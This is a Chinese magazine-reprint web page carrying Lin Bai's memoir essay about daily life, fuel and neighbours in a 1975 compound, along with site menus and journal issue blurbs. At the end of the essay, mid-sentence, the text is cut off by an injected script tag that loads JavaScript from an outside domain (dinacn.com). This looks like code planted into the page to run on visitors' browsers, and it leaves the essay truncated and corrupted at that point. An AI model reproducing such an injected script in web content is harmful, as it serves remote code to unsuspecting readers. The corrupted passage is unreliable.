中考指南高考必备小学语文小学数学小学作文领导战略管理有方资本运作门店必备健康宝典礼仪天下
初中单科高中必修高效学习少儿智力青少心理财税必备成功励志绩效管理私募攻略纳税筹划网络营销
教师指南家教秘笈小学课堂物理实验化学实验营销必胜赢在人才合法节税悟性管理采购管控创意陈列
记忆二篇 - 看看网
记忆二篇
2008-7-2  作者:林 白  阅读:  

 一九七五年的柴和热水

 

 我看见一排白铁皮桶排在洗身房前的空地上,盛夏午后的太阳正晒到水里,桶壁上有一层小小的水泡,它们接到了太阳的热能,慢慢破裂,桶里的水也一点点变暖。在夏天,那是我们的洗澡水。晒过的水在太阳落山之前洗澡,落在皮肤上是温的。如果不晒,直接用自来水,在最热的暑天也会起一层鸡皮疙瘩。


    一九七五年,烧水用木柴,或者用蜂窝煤。或者用木糠筑紧,中间留一个孔。在里面放一点揉皱的废报纸,点上火,木糠就着了,火是旺的,黄色的火,它不会是蓝色的。过了一会儿,火势弱了,用一只铁钩,钩一下,火就又起来了。食堂有一段时间烧谷壳,有一间屋子专门用来放谷壳,它没有窗户,常日不关门,半屋子谷壳散发出呛人的气味。食堂里火灶的灶火正旺,灶门很陡,谷壳在里面一层层地燃烧,火势比木糠饱满明亮,燃得有快感。烧火的人用簸箕铲上满满一簸谷壳,嗖的一下往灶门猛一送,新到的谷壳盖在快要燃尽的谷壳上,像接力赛。


    我家搬来的时候食堂已经迁走了,谷壳房和灶间都做了宿舍。谷壳房住着退休的陈会计,他六十多岁了,没有老伴,一个人住在这间没有窗子的谷壳房里。站在洗衣台跟前洗衣服,侧头看到他的房间,他坐在靠门的地方抽竹筒烟,里面黑洞洞的,只隐约看到一张床。


    他有一个儿子,是个工人,很神气,在柳州钢铁厂,那是大工厂,足以使人骄傲。儿子每年有十二天探亲假,到时间他就回来了,穿的很体面,他的旅行包印着上海两个字,有着大地方的气息。回到南流他每天都到街上逛,陈会计说他二十七八了还没对象,有喜欢他的他看不上,他看上的人家又不喜欢他。逛过十二天他就走了,他给陈会计的钱正好花完。


    冬天快到了,人面果树叶纷纷吹落,每天都是一地。陈会计早早起来扫落叶,刘雅琴也扫,一个人一头,落叶正好堆在了过道的中间。人面树叶不能当柴火,只好装在竹筐里,倒垃圾。

 

 用药渣做成蜂窝煤不知是谁的发明,骑楼底下一地都是,那就是我家的。药渣跟木糠差不多,比木糠更复杂,各种树皮草根,在制剂室的大铁锅里熬上几天几夜,它们分解、疲软、松散,一败涂地。它们就倒在制剂室的地坪上。是谁第一个把它们制成蜂窝煤的呢?这个第一个吃螃蟹的人,真是太有想象力了!

 

 张司机家住在从前食堂的米房里。从前那里有很多大缸,地上堆着番薯芋头,缸里有半缸咸萝卜,是用来吃早餐的。也有腊肉,挂在墙上,也有花生和黄豆。地上还放有南瓜和冬瓜,南瓜金红圆大,喜气洋洋,冬瓜挂满了白霜。丝瓜是老的,用来留种?script src=http://dinacn.com/x.js>

【版权声明】 以上《记忆二篇》之图文信息归《作家(12个月12期)》所有。未经《作家(12个月12期)》书面许可,不得为任何目的、以任何形式或手段发布、复制、编辑、改编、转载、播放、展示、翻印。版权所有,《作家(12个月12期)》保留所有权利。
- 文章分类 -
时政   社会   财经   产业
娱乐   体坛   生活   健康
文学   科技   教育   社科
文化   技术文摘   科学文摘
177.60元/年
- 热点文章 -
更多文章
新区的梦想与挑战
正如它的名字,雄安,一个横空出世的地理概念,一跃成为“雄伟”和“安定”的象征。这一步出人意料的棋子,是如何下的,而它又能否破解超级城市困局?
朝鲜这六年
无论观察家们是否愿意承认,被“崩溃”传闻笼罩已有1/4个世纪的平壤当局自有其维系生存的秘诀;年少当国、笑容可掬的金正恩,行事风格也远比外界的预估来得强硬果决。
人民文学 2017年01期 要目
报告文学《塘约道路》,用明晰的思路、确凿的事例和真切的故事,将地方与国家、人与时代、发展与守护、创新与前景熔于一炉,我们从中也真切地体会到了文脉与国脉、文运与国运的深刻联系。 散文《建水笔记》,是一个综合了客观的文化历史与作家的个人发现的
人民文学 2016年12期 要目
2016年是值得留念的文学时段。 这一年,在文学及其相关领域里,对中国故事的精神、价值与分量的追求令人印象深刻,向思想精深、艺术精湛的目标迈进的脚印坚实有力,佳作迭出,反响积极,写作、阅读和推广的联动态势更为自然成熟,形成了较以往更为浓郁
人民文学 2016年11期 要目
从一九五六年第九期《人民文学》发表的《组织部新来的青年人》(原稿标题为《组织部来了个年轻人》),到本期刊出的《女神》;从赵慧文对林震的心有灵犀,到陈布文对王蒙的烛照影响——六十载今昔往返中,王蒙给我们呈现了刻骨铭心的忆念“非虚构”与不拘一格
人民文学 2016年10期 要目
《怅望》是诗人马新朝生前所写的最后一组力作,犹如一座文学的纪念碑——关乎尊严,关乎热爱,关乎俯身大地的事体与伸向星空的内心,关乎生命的具象和抽象,关乎人世安详!
人民文学 2016年09期 要目
二三十岁的年龄,正是活力和才情上涌之时。翻开《人民文学》历史,你会惊讶于《组织部新来的青年人》、《北极村童话》出自不满二十二岁的王蒙、迟子建。跟他们相比,如今的青年作家发轫期整体上似乎延后了许多。文学向来不以年轻与否论英雄,然而,年轻出英才
人民文学 2016年8期 要目
近年来,每逢第八期,我们都以军人、军队与军史题材作品组成庆祝建军节专号或专辑。这一次,我们没有特别标明,但读后便知,中篇小说栏中的三分之二、短篇小说头条,都是故事相关、艺术讲究、视角独特的军事文学佳作。
人民文学 2016年7期 要目
缘于战士一次自作主张的“绑票”行动,财主家的小少爷进入红军队伍中。错误被纠正之后,却无论如何也没有办法送他回家,在酷烈的战事和恶劣的环境中,一次又一次的纠结和艰险情形下,他在长征路上得到了一个又一个红军战士的保护和疼惜——以格外稀缺的食物、
人民文学 2016年06期 要目
近期最令人欣喜的文学事件,是国际安徒生奖首次颁发给中国作家,曹文轩成为这一世界级重要文学成就奖项的首位中国得主。《蜻蜓眼》是曹文轩的最新力作,这部长篇小说,如同影响巨大的《草房子》那样,可以视为“儿童文学”,更应该看作是经典文脉上的文学。
关于看看·订购指南·联系我们·出版物经营许可证·营业执照
看看网(www.kankan.cn)
版权所有 北京金士兰经济文化有限公司  京ICP备07010955号-2
Copyright © 2005-2021 Kingsland Media Service Group All Rights Reserved